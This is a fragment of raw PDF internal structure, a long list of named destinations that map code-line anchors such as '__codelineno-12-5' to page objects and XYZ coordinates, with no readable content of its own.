(__codelineno-0-650) [ 1661 0 R /XYZ 60.307257 583.418694 0 ] (__codelineno-0-651) [ 1661 0 R /XYZ 60.307257 570.018342 0 ] (__codelineno-0-652) [ 1661 0 R /XYZ 60.307257 556.617990 0 ] (__codelineno-0-653) [ 1661 0 R /XYZ 60.307257 543.217638 0 ] (__codelineno-0-654) [ 1661 0 R /XYZ 60.307257 529.817286 0 ] (__codelineno-0-655) [ 1661 0 R /XYZ 60.307257 516.416934 0 ] (__codelineno-0-656) [ 1661 0 R /XYZ 60.307257 503.016582 0 ] (__codelineno-0-657) [ 1661 0 R /XYZ 60.307257 489.616230 0 ] (__codelineno-0-658) [ 1661 0 R /XYZ 60.307257 476.215878 0 ] (__codelineno-0-659) [ 1661 0 R /XYZ 60.307257 462.815526 0 ] (__codelineno-0-66) [ 1491 0 R /XYZ 60.307257 409.214118 0 ] (__codelineno-0-660) [ 1661 0 R /XYZ 60.307257 449.415174 0 ] (__codelineno-0-661) [ 1661 0 R /XYZ 60.307257 436.014822 0 ] (__codelineno-0-662) [ 1661 0 R /XYZ 60.307257 422.614470 0 ] (__codelineno-0-663) [ 1661 0 R /XYZ 60.307257 409.214118 0 ] (__codelineno-0-664) [ 1661 0 R /XYZ 60.307257 395.813766 0 ] (__codelineno-0-665) [ 1661 0 R /XYZ 60.307257 382.413414 0 ] (__codelineno-0-666) [ 1661 0 R /XYZ 60.307257 369.013062 0 ] (__codelineno-0-667) [ 1661 0 R /XYZ 60.307257 355.612710 0 ] (__codelineno-0-668) [ 1661 0 R /XYZ 60.307257 342.212358 0 ] (__codelineno-0-669) [ 1661 0 R /XYZ 60.307257 328.812006 0 ] (__codelineno-0-67) [ 1491 0 R /XYZ 60.307257 395.813766 0 ] (__codelineno-0-670) [ 1661 0 R /XYZ 60.307257 315.411654 0 ] (__codelineno-0-671) [ 1661 0 R /XYZ 60.307257 302.011302 0 ] (__codelineno-0-672) [ 1661 0 R /XYZ 60.307257 288.610950 0 ] (__codelineno-0-673) [ 1661 0 R /XYZ 60.307257 275.210598 0 ] (__codelineno-0-674) [ 1729 0 R /XYZ 60.307257 194.808486 0 ] (__codelineno-0-675) [ 1729 0 R /XYZ 60.307257 181.408134 0 ] (__codelineno-0-676) [ 1729 0 R /XYZ 60.307257 168.007782 0 ] (__codelineno-0-68) [ 1491 0 R /XYZ 60.307257 382.413414 0 ] (__codelineno-0-69) [ 1491 0 R /XYZ 60.307257 369.013062 0 ] (__codelineno-0-7) [ 876 0 R /XYZ 60.307257 424.690110 0 ] (__codelineno-0-70) [ 1491 0 R /XYZ 60.307257 355.612710 0 ] (__codelineno-0-71) [ 1491 0 R /XYZ 60.307257 342.212358 0 ] (__codelineno-0-72) [ 1491 0 R /XYZ 60.307257 328.812006 0 ] (__codelineno-0-73) [ 1491 0 R /XYZ 60.307257 315.411654 0 ] (__codelineno-0-74) [ 1491 0 R /XYZ 60.307257 302.011302 0 ] (__codelineno-0-75) [ 1491 0 R /XYZ 60.307257 288.610950 0 ] (__codelineno-0-76) [ 1491 0 R /XYZ 60.307257 275.210598 0 ] (__codelineno-0-77) [ 1491 0 R /XYZ 60.307257 261.810246 0 ] (__codelineno-0-78) [ 1491 0 R /XYZ 60.307257 248.409894 0 ] (__codelineno-0-79) [ 1491 0 R /XYZ 60.307257 235.009542 0 ] (__codelineno-0-8) [ 876 0 R /XYZ 60.307257 411.289758 0 ] (__codelineno-0-80) [ 1491 0 R /XYZ 60.307257 221.609190 0 ] (__codelineno-0-81) [ 1491 0 R /XYZ 60.307257 208.208838 0 ] (__codelineno-0-82) [ 1491 0 R /XYZ 60.307257 194.808486 0 ] (__codelineno-0-83) [ 1491 0 R /XYZ 60.307257 181.408134 0 ] (__codelineno-0-84) [ 1491 0 R /XYZ 60.307257 168.007782 0 ] (__codelineno-0-85) [ 1491 0 R /XYZ 60.307257 154.607430 0 ] (__codelineno-0-86) [ 1491 0 R /XYZ 60.307257 141.207078 0 ] (__codelineno-0-87) [ 1491 0 R /XYZ 60.307257 127.806726 0 ] (__codelineno-0-88) [ 1491 0 R /XYZ 60.307257 101.006022 0 ] (__codelineno-0-89) [ 1491 0 R /XYZ 60.307257 87.605670 0 ] (__codelineno-0-9) [ 876 0 R /XYZ 60.307257 397.889406 0 ] (__codelineno-0-90) [ 1493 0 R /XYZ 60.307257 771.023622 0 ] (__codelineno-0-91) [ 1493 0 R /XYZ 60.307257 757.623270 0 ] (__codelineno-0-92) [ 1493 0 R /XYZ 60.307257 744.222918 0 ] (__codelineno-0-93) [ 1493 0 R /XYZ 60.307257 730.822566 0 ] (__codelineno-0-94) [ 1493 0 R /XYZ 60.307257 717.422214 0 ] (__codelineno-0-95) [ 1493 0 R /XYZ 60.307257 704.021862 0 ] (__codelineno-0-96) [ 1493 0 R /XYZ 60.307257 690.621510 0 ] (__codelineno-0-97) [ 1493 0 R /XYZ 60.307257 677.221158 0 ] (__codelineno-0-98) [ 1493 0 R /XYZ 60.307257 663.820806 0 ] (__codelineno-0-99) [ 1493 0 R /XYZ 60.307257 650.420454 0 ] (__codelineno-1-1) [ 536 0 R /XYZ 60.307257 202.470522 0 ] (__codelineno-1-10) [ 538 0 R /XYZ 60.307257 771.023622 0 ] (__codelineno-1-11) [ 538 0 R /XYZ 60.307257 757.623270 0 ] (__codelineno-1-12) [ 538 0 R /XYZ 60.307257 744.222918 0 ] (__codelineno-1-13) [ 538 0 R /XYZ 60.307257 730.822566 0 ] (__codelineno-1-2) [ 536 0 R /XYZ 60.307257 189.070170 0 ] (__codelineno-1-3) [ 536 0 R /XYZ 60.307257 175.669818 0 ] (__codelineno-1-4) [ 536 0 R /XYZ 60.307257 162.269466 0 ] (__codelineno-1-5) [ 536 0 R /XYZ 60.307257 148.869114 0 ] (__codelineno-1-6) [ 536 0 R /XYZ 60.307257 135.468762 0 ] (__codelineno-1-7) [ 536 0 R /XYZ 60.307257 122.068410 0 ] (__codelineno-1-8) [ 536 0 R /XYZ 60.307257 108.668058 0 ] (__codelineno-1-9) [ 536 0 R /XYZ 60.307257 95.267706 0 ] (__codelineno-10-1) [ 816 0 R /XYZ 60.307257 140.764186 0 ] (__codelineno-10-10) [ 821 0 R /XYZ 60.307257 690.621510 0 ] (__codelineno-10-11) [ 821 0 R /XYZ 60.307257 677.221158 0 ] (__codelineno-10-12) [ 821 0 R /XYZ 60.307257 663.820806 0 ] (__codelineno-10-13) [ 821 0 R /XYZ 60.307257 650.420454 0 ] (__codelineno-10-14) [ 821 0 R /XYZ 60.307257 637.020102 0 ] (__codelineno-10-15) [ 821 0 R /XYZ 60.307257 623.619750 0 ] (__codelineno-10-16) [ 821 0 R /XYZ 60.307257 610.219398 0 ] (__codelineno-10-17) [ 821 0 R /XYZ 60.307257 596.819046 0 ] (__codelineno-10-18) [ 821 0 R /XYZ 60.307257 583.418694 0 ] (__codelineno-10-19) [ 821 0 R /XYZ 60.307257 570.018342 0 ] (__codelineno-10-2) [ 816 0 R /XYZ 60.307257 113.963482 0 ] (__codelineno-10-20) [ 821 0 R /XYZ 60.307257 556.617990 0 ] (__codelineno-10-21) [ 821 0 R /XYZ 60.307257 543.217638 0 ] (__codelineno-10-22) [ 821 0 R /XYZ 60.307257 529.817286 0 ] (__codelineno-10-23) [ 821 0 R /XYZ 60.307257 516.416934 0 ] (__codelineno-10-24) [ 821 0 R /XYZ 60.307257 503.016582 0 ] (__codelineno-10-25) [ 821 0 R /XYZ 60.307257 489.616230 0 ] (__codelineno-10-26) [ 821 0 R /XYZ 60.307257 476.215878 0 ] (__codelineno-10-27) [ 821 0 R /XYZ 60.307257 462.815526 0 ] (__codelineno-10-28) [ 821 0 R /XYZ 60.307257 449.415174 0 ] (__codelineno-10-29) [ 821 0 R /XYZ 60.307257 436.014822 0 ] (__codelineno-10-3) [ 816 0 R /XYZ 60.307257 100.563130 0 ] (__codelineno-10-4) [ 816 0 R /XYZ 60.307257 87.162778 0 ] (__codelineno-10-5) [ 821 0 R /XYZ 60.307257 771.023622 0 ] (__codelineno-10-6) [ 821 0 R /XYZ 60.307257 744.222918 0 ] (__codelineno-10-7) [ 821 0 R /XYZ 60.307257 730.822566 0 ] (__codelineno-10-8) [ 821 0 R /XYZ 60.307257 717.422214 0 ] (__codelineno-10-9) [ 821 0 R /XYZ 60.307257 704.021862 0 ] (__codelineno-11-1) [ 832 0 R /XYZ 60.307257 186.718980 0 ] (__codelineno-11-10) [ 836 0 R /XYZ 60.307257 717.422214 0 ] (__codelineno-11-11) [ 836 0 R /XYZ 60.307257 704.021862 0 ] (__codelineno-11-12) [ 836 0 R /XYZ 60.307257 690.621510 0 ] (__codelineno-11-13) [ 836 0 R /XYZ 60.307257 677.221158 0 ] (__codelineno-11-14) [ 836 0 R /XYZ 60.307257 663.820806 0 ] (__codelineno-11-15) [ 836 0 R /XYZ 60.307257 650.420454 0 ] (__codelineno-11-16) [ 836 0 R /XYZ 60.307257 637.020102 0 ] (__codelineno-11-17) [ 1082 0 R /XYZ 60.307257 610.219398 0 ] (__codelineno-11-18) [ 1082 0 R /XYZ 60.307257 596.819046 0 ] (__codelineno-11-19) [ 1082 0 R /XYZ 60.307257 583.418694 0 ] (__codelineno-11-2) [ 832 0 R /XYZ 60.307257 159.918276 0 ] (__codelineno-11-20) [ 1082 0 R /XYZ 60.307257 570.018342 0 ] (__codelineno-11-21) [ 1082 0 R /XYZ 60.307257 556.617990 0 ] (__codelineno-11-22) [ 1082 0 R /XYZ 60.307257 543.217638 0 ] (__codelineno-11-3) [ 832 0 R /XYZ 60.307257 133.117572 0 ] (__codelineno-11-4) [ 832 0 R /XYZ 60.307257 119.717220 0 ] (__codelineno-11-5) [ 832 0 R /XYZ 60.307257 106.316868 0 ] (__codelineno-11-6) [ 836 0 R /XYZ 60.307257 771.023622 0 ] (__codelineno-11-7) [ 836 0 R /XYZ 60.307257 757.623270 0 ] (__codelineno-11-8) [ 836 0 R /XYZ 60.307257 744.222918 0 ] (__codelineno-11-9) [ 836 0 R /XYZ 60.307257 730.822566 0 ] (__codelineno-12-1) [ 838 0 R /XYZ 60.307257 186.377322 0 ] (__codelineno-12-10) [ 840 0 R /XYZ 60.307257 744.222918 0 ] (__codelineno-12-11) [ 840 0 R /XYZ 60.307257 730.822566 0 ] (__codelineno-12-12) [ 840 0 R /XYZ 60.307257 717.422214 0 ] (__codelineno-12-13) [ 840 0 R /XYZ 60.307257 704.021862 0 ] (__codelineno-12-14) [ 840 0 R /XYZ 60.307257 690.621510 0 ] (__codelineno-12-15) [ 840 0 R /XYZ 60.307257 677.221158 0 ] (__codelineno-12-16) [ 840 0 R /XYZ 60.307257 663.820806 0 ] (__codelineno-12-17) [ 840 0 R /XYZ 60.307257 650.420454 0 ] (__codelineno-12-18) [ 840 0 R /XYZ 60.307257 637.020102 0 ] (__codelineno-12-19) [ 840 0 R /XYZ 60.307257 623.619750 0 ] (__codelineno-12-2) [ 838 0 R /XYZ 60.307257 172.976970 0 ] (__codelineno-12-20) [ 840 0 R /XYZ 60.307257 610.219398 0 ] (__codelineno-12-21) [ 840 0 R /XYZ 60.307257 596.819046 0 ] (__codelineno-12-22) [ 840 0 R /XYZ 60.307257 583.418694 0 ] (__codelineno-12-23) [ 840 0 R /XYZ 60.307257 570.018342 0 ] (__codelineno-12-24) [ 840 0 R /XYZ 60.307257 556.617990 0 ] (__codelineno-12-25) [ 840 0 R /XYZ 60.307257 543.217638 0 ] (__codelineno-12-26) [ 840 0 R /XYZ 60.307257 516.416934 0 ] (__codelineno-12-27) [ 840 0 R /XYZ 60.307257 503.016582 0 ] (__codelineno-12-28) [ 840 0 R /XYZ 60.307257 489.616230 0 ] (__codelineno-12-29) [ 840 0 R /XYZ 60.307257 476.215878 0 ] (__codelineno-12-3) [ 838 0 R /XYZ 60.307257 159.576618 0 ] (__codelineno-12-30) [ 840 0 R /XYZ 60.307257 462.815526 0 ] (__codelineno-12-31) [ 840 0 R /XYZ 60.307257 449.415174 0 ] (__codelineno-12-32) [ 840 0 R /XYZ 60.307257 422.614470 0 ] (__codelineno-12-33) [ 840 0 R /XYZ 60.307257 395.813766 0 ] (__codelineno-12-34) [ 840 0 R /XYZ 60.307257 382.413414 0 ] (__codelineno-12-35) [ 840 0 R /XYZ 60.307257 369.013062 0 ] (__codelineno-12-36) [ 840 0 R /XYZ 60.307257 355.612710 0 ] (__codelineno-12-4) [ 838 0 R /XYZ 60.307257 146.176266 0 ] (__codelineno-12-5) [ 838 0 R /XYZ 60.307257 132.775914 0 ] (__codelineno-12-6) [ 838 0 R /XYZ 60.307257 119.375562 0 ] (__codelineno-12-7) [ 838 0 R /XYZ 60.307257 105.975210 0 ] (__codelineno-12-8) [ 838 0 R /XYZ 60.307257 92.574858 0 ] (__codelineno-12-9) [ 840 0 R /XYZ 60.307257 757.623270 0 ] (__codelineno-13-1) [ 1086 0 R /XYZ 60.307257 722.344122 0 ] (__codelineno-13-2) [ 1086 0 R /XYZ 60.307257 708.943770 0 ] (__codelineno-13-3) [ 1086 0 R /XYZ 60.307257 695.543418 0 ] (__codelineno-13-4) [ 1086 0 R /XYZ 60.307257 682.143066 0 ] (__codelineno-13-5) [ 1086 0 R /XYZ 60.307257 668.742714 0 ] (__codelineno-13-6) [ 1086 0 R /XYZ 60.307257 655.342362 0 ] (__codelineno-13-7) [ 1086 0 R /XYZ 60.307257 641.942010 0 ] (__codelineno-13-8) [ 1086 0 R /XYZ 60.307257 628.541658 0 ] (__codelineno-13-9) [ 1086 0 R /XYZ 60.307257 615.141306 0 ] (__codelineno-14-1) [ 1086 0 R /XYZ 60.307257 510.012354 0 ] (__codelineno-14-2) [ 1086 0 R /XYZ 60.307257 496.612002 0 ] (__codelineno-14-3) [ 1086 0 R /XYZ 60.307257 483.211650 0 ] (__codelineno-14-4) [ 1086 0 R /XYZ 60.307257 469.811298 0 ] (__codelineno-14-5) [ 1086 0 R /XYZ 60.307257 456.410946 0 ] (__codelineno-14-6) [ 1086 0 R /XYZ 60.307257 443.010594 0 ] (__codelineno-14-7) [ 1086 0 R /XYZ 60.307257 429.610242 0 ] (__codelineno-14-8) [ 1086 0 R /XYZ 60.307257 416.209890 0 ] (__codelineno-14-9) [ 1086 0 R /XYZ 60.307257 402.809538 0 ] (__codelineno-15-1) [ 1124 0 R /XYZ 60.307257 512.569722 0 ] (__codelineno-15-10) [ 1124 0 R /XYZ 60.307257 391.966554 0 ] (__codelineno-15-11) [ 1124 0 R /XYZ 60.307257 378.566202 0 ] (__codelineno-15-12) [ 1124 0 R /XYZ 60.307257 365.165850 0 ] (__codelineno-15-13) [ 1124 0 R /XYZ 60.307257 351.765498 0 ] (__codelineno-15-14) [ 1124 0 R /XYZ 60.307257 338.365146 0 ] (__codelineno-15-15) [ 1124 0 R /XYZ 60.307257 324.964794 0 ] (__codelineno-15-16) [ 1124 0 R /XYZ 60.307257 311.564442 0 ] (__codelineno-15-17) [ 1124 0 R /XYZ 60.307257 298.164090 0 ] (__codelineno-15-18) [ 1124 0 R /XYZ 60.307257 284.763738 0 ] (__codelineno-15-2) [ 1124 0 R /XYZ 60.307257 499.169370 0 ] (__codelineno-15-3) [ 1124 0 R /XYZ 60.307257 485.769018 0 ] (__codelineno-15-4) [ 1124 0 R /XYZ 60.307257 472.368666 0 ] (__codelineno-15-5) [ 1124 0 R /XYZ 60.307257 458.968314 0 ] (__codelineno-15-6) [ 1124 0 R /XYZ 60.307257 445.567962 0 ] (__codelineno-15-7) [ 1124 0 R /XYZ 60.307257 432.167610 0 ] (__codelineno-15-8) [ 1124 0 R /XYZ 60.307257 418.767258 0 ] (__codelineno-15-9) [ 1124 0 R /XYZ 60.307257 405.366906 0 ] (__codelineno-16-1) [ 1129 0 R /XYZ 60.307257 422.361822 0 ] (__codelineno-16-10) [ 1129 0 R /XYZ 60.307257 301.758654 0 ] (__codelineno-16-11) [ 1129 0 R /XYZ 60.307257 288.358302 0 ] (__codelineno-16-12) [ 1129 0 R /XYZ 60.307257 274.957950 0 ] (__codelineno-16-13) [ 1129 0 R /XYZ 60.307257 261.557598 0 ] (__codelineno-16-14) [ 1129 0 R /XYZ 60.307257 248.157246 0 ] (__codelineno-16-15) [ 1129 0 R /XYZ 60.307257 234.756894 0 ] (__codelineno-16-16) [ 1129 0 R /XYZ 60.307257 221.356542 0 ] (__codelineno-16-17) [ 1129 0 R /XYZ 60.307257 207.956190 0 ] (__codelineno-16-18) [ 1129 0 R /XYZ 60.307257 194.555838 0 ] (__codelineno-16-2) [ 1129 0 R /XYZ 60.307257 408.961470 0 ] (__codelineno-16-3) [ 1129 0 R /XYZ 60.307257 395.561118 0 ] (__codelineno-16-4) [ 1129 0 R /XYZ 60.307257 382.160766 0 ] (__codelineno-16-5) [ 1129 0 R /XYZ 60.307257 368.760414 0 ] (__codelineno-16-6) [ 1129 0 R /XYZ 60.307257 355.360062 0 ] (__codelineno-16-7) [ 1129 0 R /XYZ 60.307257 341.959710 0 ] (__codelineno-16-8) [ 1129 0 R /XYZ 60.307257 328.559358 0 ] (__codelineno-16-9) [ 1129 0 R /XYZ 60.307257 315.159006 0 ] (__codelineno-17-1) [ 1140 0 R /XYZ 60.307257 363.601105 0 ] (__codelineno-17-10) [ 1140 0 R /XYZ 60.307257 242.997937 0 ] (__codelineno-17-11) [ 1140 0 R /XYZ 60.307257 229.597585 0 ] (__codelineno-17-12) [ 1140 0 R /XYZ 60.307257 202.796881 0 ] (__codelineno-17-13) [ 1140 0 R /XYZ 60.307257 189.396529 0 ] (__codelineno-17-14) [ 1140 0 R /XYZ 60.307257 175.996177 0 ] (__codelineno-17-15) [ 1140 0 R /XYZ 60.307257 162.595825 0 ] (__codelineno-17-16) [ 1140 0 R /XYZ 60.307257 149.195473 0 ] (__codelineno-17-17) [ 1140 0 R /XYZ 60.307257 135.795121 0 ] (__codelineno-17-18) [ 1140 0 R /XYZ 60.307257 122.394769 0 ] (__codelineno-17-19) [ 1140 0 R /XYZ 60.307257 108.994417 0 ] (__codelineno-17-2) [ 1140 0 R /XYZ 60.307257 350.200753 0 ] (__codelineno-17-20) [ 1140 0 R /XYZ 60.307257 95.594065 0 ] (__codelineno-17-21) [ 1144 0 R /XYZ 60.307257 771.023622 0 ] (__codelineno-17-22) [ 1144 0 R /XYZ 60.307257 757.623270 0 ] (__codelineno-17-23) [ 1144 0 R /XYZ 60.307257 744.222918 0 ] (__codelineno-17-24) [ 1144 0 R /XYZ 60.307257 717.422214 0 ] (__codelineno-17-3) [ 1140 0 R /XYZ 60.307257 336.800401 0 ] (__codelineno-17-4) [ 1140 0 R /XYZ 60.307257 323.400049 0 ] (__codelineno-17-5) [ 1140 0 R /XYZ 60.307257 309.999697 0 ] (__codelineno-17-6) [ 1140 0 R /XYZ 60.307257 296.599345 0 ] (__codelineno-17-7) [ 1140 0 R /XYZ 60.307257 283.198993 0 ] (__codelineno-17-8) [ 1140 0 R /XYZ 60.307257 269.798641 0 ] (__codelineno-17-9) [ 1140 0 R /XYZ 60.307257 256.398289 0 ] (__codelineno-18-1) [ 1175 0 R /XYZ 60.307257 236.252922 0 ] (__codelineno-18-10) [ 1177 0 R /XYZ 60.307257 717.422214 0 ] (__codelineno-18-11) [ 1177 0 R /XYZ 60.307257 690.621510 0 ] (__codelineno-18-12) [ 1177 0 R /XYZ 60.307257 663.820806 0 ] (__codelineno-18-13) [ 1177 0 R /XYZ 60.307257 637.020102 0 ] (__codelineno-18-14) [ 1177 0 R /XYZ 60.307257 610.219398 0 ] (__codelineno-18-15) [ 1177 0 R /XYZ 60.307257 583.418694 0 ] (__codelineno-18-16) [ 1177 0 R /XYZ 60.307257 556.617990 0 ] (__codelineno-18-17) [ 1177 0 R /XYZ 60.307257 543.217638 0 ] (__codelineno-18-18) [ 1177 0 R /XYZ 60.307257 529.817286 0 ] (__codelineno-18-2) [ 1175 0 R /XYZ 60.307257 222.852570 0 ] (__codelineno-18-3) [ 1175 0 R /XYZ 60.307257 209.452218 0 ] (__codelineno-18-4) [ 1175 0 R /XYZ 60.307257 169.251162 0 ] (__codelineno-18-5) [ 1175 0 R /XYZ 60.307257 142.450458 0 ] (__codelineno-18-6) [ 1175 0 R /XYZ 60.307257 129.050106 0 ] (__codelineno-18-7) [ 1175 0 R /XYZ 60.307257 115.649754 0 ] (__codelineno-18-8) [ 1175 0 R /XYZ 60.307257 88.849050 0 ] (__codelineno-18-9) [ 1177 0 R /XYZ 60.307257 744.222918 0 ] (__codelineno-19-1) [ 1177 0 R /XYZ 60.307257 464.101134 0 ] (__codelineno-19-2) [ 1177 0 R /XYZ 60.307257 450.700782 0 ] (__codelineno-19-3) [ 1177 0 R /XYZ 60.307257 437.300430 0 ] (__codelineno-19-4) [ 1177 0 R /XYZ 60.307257 423.900078 0 ] (__codelineno-2-1) [ 538 0 R /XYZ 60.307257 422.999214 0 ] (__codelineno-2-10) [ 538 0 R /XYZ 60.307257 302.396046 0 ] (__codelineno-2-11) [ 538 0 R /XYZ 60.307257 275.595342 0 ] (__codelineno-2-12) [ 538 0 R /XYZ 60.307257 262.194990 0 ] (__codelineno-2-13) [ 538 0 R /XYZ 60.307257 248.794638 0 ] (__codelineno-2-14) [ 538 0 R /XYZ 60.307257 235.394286 0 ] (__codelineno-2-15) [ 538 0 R /XYZ 60.307257 221.993934 0 ] (__codelineno-2-16) [ 538 0 R /XYZ 60.307257 208.593582 0 ] (__codelineno-2-17) [ 538 0 R /XYZ 60.307257 195.193230 0 ] (__codelineno-2-18) [ 538 0 R /XYZ 60.307257 181.792878 0 ] (__codelineno-2-19) [ 538 0 R /XYZ 60.307257 168.392526 0 ] (__codelineno-2-2) [ 538 0 R /XYZ 60.307257 409.598862 0 ] (__codelineno-2-20) [ 538 0 R /XYZ 60.307257 154.992174 0 ] (__codelineno-2-21) [ 538 0 R /XYZ 60.307257 141.591822 0 ] (__codelineno-2-22) [ 538 0 R /XYZ 60.307257 128.191470 0 ] (__codelineno-2-23) [ 538 0 R /XYZ 60.307257 114.791118 0 ] (__codelineno-2-24) [ 538 0 R /XYZ 60.307257 101.390766 0 ] (__codelineno-2-25) [ 538 0 R /XYZ 60.307257 87.990414 0 ] (__codelineno-2-26) [ 540 0 R /XYZ 60.307257 771.023622 0 ] (__codelineno-2-27) [ 540 0 R /XYZ 60.307257 757.623270 0 ] (__codelineno-2-28) [ 540 0 R /XYZ 60.307257 744.222918 0 ] (__codelineno-2-3) [ 538 0 R /XYZ 60.307257 396.198510 0 ] (__codelineno-2-4) [ 538 0 R /XYZ 60.307257 382.798158 0 ] (__codelineno-2-5) [ 538 0 R /XYZ 60.307257 369.397806 0 ] (__codelineno-2-6) [ 538 0 R /XYZ 60.307257 355.997454 0 ] (__codelineno-2-7) [ 538 0 R /XYZ 60.307257 342.597102 0 ] (__codelineno-2-8) [ 538 0 R /XYZ 60.307257 329.196750 0 ] (__codelineno-2-9) [ 538 0 R /XYZ 60.307257 315.796398 0 ] (__codelineno-20-1) [ 1177 0 R /XYZ 60.307257 333.785526 0 ] (__codelineno-20-2) [ 1177 0 R /XYZ 60.307257 320.385174 0 ] (__codelineno-20-3) [ 1177 0 R /XYZ 60.307257 306.984822 0 ] (__codelineno-20-4) [ 1177 0 R /XYZ 60.307257 293.584470 0 ] (__codelineno-21-1) [ 1177 0 R /XYZ 60.307257 227.868318 0 ] (__codelineno-21-2) [ 1177 0 R /XYZ 60.307257 214.467966 0 ] (__codelineno-21-3) [ 1177 0 R /XYZ 60.307257 201.067614 0 ] (__codelineno-21-4) [ 1177 0 R /XYZ 60.307257 187.667262 0 ] (__codelineno-21-5) [ 1177 0 R /XYZ 60.307257 174.266910 0 ] (__codelineno-21-6) [ 1177 0 R /XYZ 60.307257 160.866558 0 ] (__codelineno-21-7) [ 1177 0 R /XYZ 60.307257 134.065854 0 ] (__codelineno-21-8) [ 1177 0 R /XYZ 60.307257 120.665502 0 ] (__codelineno-22-1) [ 1179 0 R /XYZ 60.307257 697.945722 0 ] (__codelineno-22-2) [ 1179 0 R /XYZ 60.307257 684.545370 0 ] (__codelineno-22-3) [ 1179 0 R /XYZ 60.307257 671.145018 0 ] (__codelineno-22-4) [ 1179 0 R /XYZ 60.307257 644.344314 0 ] (__codelineno-22-5) [ 1179 0 R /XYZ 60.307257 630.943962 0 ] (__codelineno-23-1) [ 1196 0 R /XYZ 60.307257 422.056122 0 ] (__codelineno-23-2) [ 1196 0 R /XYZ 60.307257 381.855066 0 ] (__codelineno-23-3) [ 1196 0 R /XYZ 60.307257 368.454714 0 ] (__codelineno-23-4) [ 1196 0 R /XYZ 60.307257 355.054362 0 ] (__codelineno-23-5) [ 1196 0 R /XYZ 60.307257 341.654010 0 ] (__codelineno-24-1) [ 1201 0 R /XYZ 60.307257 520.588122 0 ] (__codelineno-24-10) [ 1201 0 R /XYZ 60.307257 373.184250 0 ] (__codelineno-24-2) [ 1201 0 R /XYZ 60.307257 480.387066 0 ] (__codelineno-24-3) [ 1201 0 R /XYZ 60.307257 466.986714 0 ] (__codelineno-24-4) [ 1201 0 R /XYZ 60.307257 453.586362 0 ] (__codelineno-24-5) [ 1201 0 R /XYZ 60.307257 440.186010 0 ] (__codelineno-24-6) [ 1201 0 R /XYZ 60.307257 426.785658 0 ] (__codelineno-24-7) [ 1201 0 R /XYZ 60.307257 413.385306 0 ] (__codelineno-24-8) [ 1201 0 R /XYZ 60.307257 399.984954 0 ] (__codelineno-24-9) [ 1201 0 R /XYZ 60.307257 386.584602 0 ] (__codelineno-25-1) [ 1203 0 R /XYZ 60.307257 342.292122 0 ] (__codelineno-25-10) [ 1203 0 R /XYZ 60.307257 221.688954 0 ] (__codelineno-25-11) [ 1203 0 R /XYZ 60.307257 208.288602 0 ] (__codelineno-25-12) [ 1203 0 R /XYZ 60.307257 194.888250 0 ] (__codelineno-25-13) [ 1203 0 R /XYZ 60.307257 181.487898 0 ] (__codelineno-25-14) [ 1203 0 R /XYZ 60.307257 168.087546 0 ] (__codelineno-25-15) [ 1203 0 R /XYZ 60.307257 154.687194 0 ] (__codelineno-25-16) [ 1203 0 R /XYZ 60.307257 141.286842 0 ] (__codelineno-25-17) [ 1203 0 R /XYZ 60.307257 127.886490 0 ] (__codelineno-25-18) [ 1203 0 R /XYZ 60.307257 114.486138 0 ] (__codelineno-25-19) [ 1203 0 R /XYZ 60.307257 101.085786 0 ] (__codelineno-25-2) [ 1203 0 R /XYZ 60.307257 328.891770 0 ] (__codelineno-25-20) [ 1203 0 R /XYZ 60.307257 87.685434 0 ] (__codelineno-25-21) [ 1205 0 R /XYZ 60.307257 771.023622 0 ] (__codelineno-25-22) [ 1205 0 R /XYZ 60.307257 757.623270 0 ] (__codelineno-25-23) [ 1205 0 R /XYZ 60.307257 744.222918 0 ] (__codelineno-25-24) [ 1205 0 R /XYZ 60.307257 730.822566 0 ] (__codelineno-25-25) [ 1205 0 R /XYZ 60.307257 717.422214 0 ] (__codelineno-25-26) [ 1205 0 R /XYZ 60.307257 704.021862 0 ] (__codelineno-25-27) [ 1205 0 R /XYZ 60.307257 690.621510 0 ] (__codelineno-25-28) [ 1205 0 R /XYZ 60.307257 677.221158 0 ] (__codelineno-25-29) [ 1205 0 R /XYZ 60.307257 663.820806 0 ] (__codelineno-25-3) [ 1203 0 R /XYZ 60.307257 315.491418 0 ] (__codelineno-25-30) [ 1205 0 R /XYZ 60.307257 650.420454 0 ] (__codelineno-25-31) [ 1205 0 R /XYZ 60.307257 637.020102 0 ] (__codelineno-25-32) [ 1205 0 R /XYZ 60.307257 623.619750 0 ] (__codelineno-25-33) [ 1205 0 R /XYZ 60.307257 610.219398 0 ] (__codelineno-25-34) [ 1205 0 R /XYZ 60.307257 596.819046 0 ] (__codelineno-25-35) [ 1205 0 R /XYZ 60.307257 583.418694 0 ] (__codelineno-25-36) [ 1205 0 R /XYZ 60.307257 570.018342 0 ] (__codelineno-25-37) [ 1205 0 R /XYZ 60.307257 556.617990 0 ] (__codelineno-25-38) [ 1205 0 R /XYZ 60.307257 543.217638 0 ] (__codelineno-25-39) [ 1205 0 R /XYZ 60.307257 516.416934 0 ] (__codelineno-25-4) [ 1203 0 R /XYZ 60.307257 302.091066 0 ] (__codelineno-25-40) [ 1205 0 R /XYZ 60.307257 503.016582 0 ] (__codelineno-25-41) [ 1205 0 R /XYZ 60.307257 489.616230 0 ] (__codelineno-25-42) [ 1205 0 R /XYZ 60.307257 476.215878 0 ] (__codelineno-25-43) [ 1205 0 R /XYZ 60.307257 462.815526 0 ] (__codelineno-25-44) [ 1205 0 R /XYZ 60.307257 449.415174 0 ] (__codelineno-25-45) [ 1205 0 R /XYZ 60.307257 436.014822 0 ] (__codelineno-25-46) [ 1205 0 R /XYZ 60.307257 422.614470 0 ] (__codelineno-25-47) [ 1205 0 R /XYZ 60.307257 409.214118 0 ] (__codelineno-25-48) [ 1205 0 R /XYZ 60.307257 395.813766 0 ] (__codelineno-25-49) [ 1205 0 R /XYZ 60.307257 382.413414 0 ] (__codelineno-25-5) [ 1203 0 R /XYZ 60.307257 288.690714 0 ] (__codelineno-25-50) [ 1205 0 R /XYZ 60.307257 369.013062 0 ] (__codelineno-25-51) [ 1205 0 R /XYZ 60.307257 342.212358 0 ] (__codelineno-25-52) [ 1205 0 R /XYZ 60.307257 328.812006 0 ] (__codelineno-25-53) [ 1205 0 R /XYZ 60.307257 315.411654 0 ] (__codelineno-25-54) [ 1205 0 R /XYZ 60.307257 302.011302 0 ] (__codelineno-25-55) [ 1205 0 R /XYZ 60.307257 288.610950 0 ] (__codelineno-25-56) [ 1205 0 R /XYZ 60.307257 275.210598 0 ] (__codelineno-25-57) [ 1205 0 R /XYZ 60.307257 261.810246 0 ] (__codelineno-25-58) [ 1205 0 R /XYZ 60.307257 248.409894 0 ] 